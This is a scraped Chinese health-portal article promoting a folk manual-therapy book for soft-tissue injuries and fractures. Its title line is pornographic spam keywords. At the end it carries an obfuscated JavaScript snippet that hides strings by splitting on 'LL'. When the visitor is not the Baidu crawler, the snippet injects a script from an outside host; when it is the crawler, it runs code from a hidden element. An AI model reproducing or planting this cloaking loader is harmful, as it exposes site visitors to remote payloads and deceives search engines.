亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 常見疾病 > 正文

傷筋民間手法治療究竟是怎么樣的

2017-06-17 22:48:55  來源:360常識網(wǎng)   熱度:
導(dǎo)語:俗話說得好,傷筋動骨一百天,意思就是軟組織損傷或者傷到骨頭,需要休養(yǎng)一百天才能真正痊愈,當(dāng)然一百天只是個數(shù)字,休養(yǎng)得當(dāng)并不需要這么

俗話說得好,傷筋動骨一百天,意思就是軟組織損傷或者傷到骨頭,需要休養(yǎng)一百天才能真正痊愈,當(dāng)然一百天只是個數(shù)字,休養(yǎng)得當(dāng)并不需要這么長的時間,因?yàn)橐话偬齑_實(shí)對于現(xiàn)代人來說太長,民間的治療方法效果顯著,簡單方便,一直以來深受大眾喜愛,傷筋民間手法治療究竟是什么方法呢?

傷筋又叫軟組織損傷,是人們在勞動和生活中常發(fā)生的疾病,祖國醫(yī)學(xué)治療傷筋主要運(yùn)用手法治療,它具有顯效、簡便等優(yōu)點(diǎn),歷來深受群眾歡迎,本書主要介紹傷筋手法治療知識,著重介紹常見的下頜、頸、肩、胸、腰以及手足關(guān)節(jié)等十三種傷筋的簡易治療手法,并附有插圖,書末附有民間治療傷筋中草藥方劑,本書介紹的治療方法具體實(shí)用,圖文對照,通俗易懂,可供廣大讀者和基層衛(wèi)生人員參考。

傷筋民間手法治療共分五大部分:即卷1為總論,其內(nèi)容為手法、手技圖示,詳細(xì)介紹接骨、上骱、理筋手法的操作規(guī)范及要領(lǐng)和各部位(關(guān)節(jié))的練功術(shù)式;卷2為骨折,以圖示例,使之易學(xué)、易懂、易練、易用;卷3為脫位?錯縫,介紹各部關(guān)節(jié)脫位及上骱之法;卷4為傷筋,內(nèi)容豐富,其中有法,往往用之得心應(yīng)手;卷5內(nèi)傷雜病,在骨傷基本治法的基礎(chǔ)上,“博采眾法”之長。此書其本上體現(xiàn)了骨傷治法的全貌,是一部以圖為主、文字為輔的大型骨傷治療手法圖譜。

此書旨在強(qiáng)調(diào)非手術(shù)療法,不見血療法,突出中醫(yī)骨傷科手法治療特色,法治療特色,以利于監(jiān)床應(yīng)用。在這里作者引用我國老一輩骨科專家孟繼懋教授的一段話:“必須指出,大多數(shù)骨折如閉合復(fù)位方法可能獲得滿意的療效,用切開復(fù)位來治療也不能創(chuàng)造更優(yōu)越的結(jié)果。切開復(fù)位手術(shù)還是有它一定的弱點(diǎn),因?yàn)榍虚_手術(shù)存在感染的機(jī)會,剝離骨膜影響局部的血運(yùn);同時骨折周圍血腫的去除都會影響骨痂的生長。在一個經(jīng)驗(yàn)較少的醫(yī)師手中,切開復(fù)位失敗的結(jié)果較閉合復(fù)位失敗的結(jié)果更要壞些。因此我們強(qiáng)調(diào)對于骨折的治療,一般外科醫(yī)師應(yīng)認(rèn)真鍛煉和掌握閉合復(fù)位的技術(shù),根據(jù)骨折治療的基本原則來處理大多數(shù)骨折,無原則地采用切復(fù)位術(shù)應(yīng)予糾正?!?/p>

傷筋動骨,非同小可,一旦傷到了軟組織或者骨頭,加上民間的治療手法加以鞏固,相信一定會加快痊愈的。但是需要謹(jǐn)記的是,一定要及早就醫(yī),聽從醫(yī)生的指導(dǎo),受到損傷的時候一定要加上根據(jù)判斷,及時進(jìn)行熱敷,冷敷等緊急處理。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}